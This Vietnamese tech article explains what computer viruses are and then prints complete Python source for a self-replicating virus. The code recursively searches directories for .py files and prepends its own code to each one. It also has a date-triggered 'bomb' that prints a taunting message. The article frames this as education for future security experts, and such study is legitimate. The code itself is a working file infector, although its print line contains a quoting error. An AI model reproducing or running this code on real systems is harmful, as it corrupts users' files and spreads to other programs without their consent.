Tin tức và phân tích của tất cả các thiết bị di động

Virus là gì? Cách viết một virus đơn giản bằng Python

Virus là cơn ác mộng của thế giới kỹ thuật số. Vậy chính xác virus là gì? Virus được tạo ra như thế nào? Chúng ta hãy xem xét những câu hỏi này.

Virus máy tính là một chương trình độc hại (phần mềm độc hại). Nó tự sao chép hoặc sao chép chính nó sang các chương trình khác khi chạy. Nó có thể lây nhiễm các tệp dữ liệu hoặc chương trình chạy khi máy tính khởi động, cũng như các chương trình chúng ta sử dụng sau khi bật hệ điều hành.

Thuật ngữ “virus” thường bị sử dụng sai. Đây thực sự là; nó là một loại phần mềm độc hại như sâu, trojan, BHO, phần mềm gián điệp, phần mềm độc hại rootkit. Tuy nhiên, người dùng cuối thường coi phần mềm độc hại là vi-rút. Virus thực chất là phần mềm độc hại thực hiện các hoạt động có hại. Ví dụ; chẳng hạn như khóa đĩa cứng, gây trục trặc trong bộ xử lý, đánh cắp số thẻ tín dụng, đánh cắp danh sách e-mail và gửi các tin nhắn khác nhau cho những người có kết nối. Những kẻ viết virus có thể nắm bắt được điểm yếu của người dùng và xâm nhập vào máy tính của họ thông qua các phương pháp đánh lừa được gọi là kỹ thuật xã hội. Nhiều loại virus, đặc biệt là Windows hệ thống và thường tấn công vì những lý do như thông điệp chính trị hoặc giải trí cá nhân.

Nếu bạn muốn biết khía cạnh này của thế giới mạng và muốn tìm hiểu điều gì đó về bảo mật chống lại các tin tặc độc hại thì dưới đây là các mã của một loại virus đơn giản.

Chúng tôi cảnh báo; Thế giới mạng nguy hiểm hơn bạn nghĩ. Những gì chúng tôi viết ở đây chỉ nhằm mục đích giáo dục cho những người muốn trở thành chuyên gia bảo mật. Chỉ chạy các mã đã cho trên hệ thống của riêng bạn.

#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()